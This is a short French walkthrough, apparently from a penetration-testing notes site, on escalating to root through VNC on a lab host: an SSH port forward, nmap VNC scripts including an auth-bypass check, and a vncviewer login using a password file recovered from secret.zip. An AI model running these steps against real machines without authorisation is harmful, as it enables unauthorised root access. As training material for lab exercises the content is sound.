# Ports 5800,5801,5900,5901 - VNC

### Explotation 5800,5801,5900,5901 - VNC

Nous identifions des ports en écoute :

```bash
netstat -an | grep LISTEN
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FXRtilbUvdip5t63nHrwI%2Fimage.png?alt=media&#x26;token=0ec43c80-30c9-4662-b6bd-13fe045eb0b8" alt=""><figcaption></figcaption></figure>

#### **Tunnel SSH pour rediriger les ports VNC**

```bash
ssh -L 5801:127.0.0.1:5801 -L 5901:127.0.0.1:5901 charix@10.10.10.84
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2Fm1CGdLMUIGNTKaTHEQFm%2Fimage.png?alt=media&#x26;token=ea931810-a05e-4148-bf3f-cc8b0b7fd6ce" alt=""><figcaption></figcaption></figure>

Scan des services VNC :

```bash
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5801 127.0.0.1
nmap -sV --script vnc-info,realvnc-auth-bypass,vnc-title -p 5901 127.0.0.1
```

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FNM0rVCKxn7JwoBySdm6O%2Fimage.png?alt=media&#x26;token=4953a941-5749-46f6-bed6-d89f7e66dbee" alt=""><figcaption></figcaption></figure>

#### **Connexion via vncviewer**

Nous utilisons le mot de passe trouvé dans `secret.zip` :

```bash
vncviewer -passwd secret 127.0.0.1:5901
```

Nous obtenons un **accès root** sur la machine !

<figure><img src="https://3892280740-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOeqybfPyWliD6m1hbKa3%2Fuploads%2FpskfE2VXS5AeDN2KifIa%2Fimage.png?alt=media&#x26;token=6f2a82c7-31df-4887-9a1a-17172b063654" alt=""><figcaption></figcaption></figure>
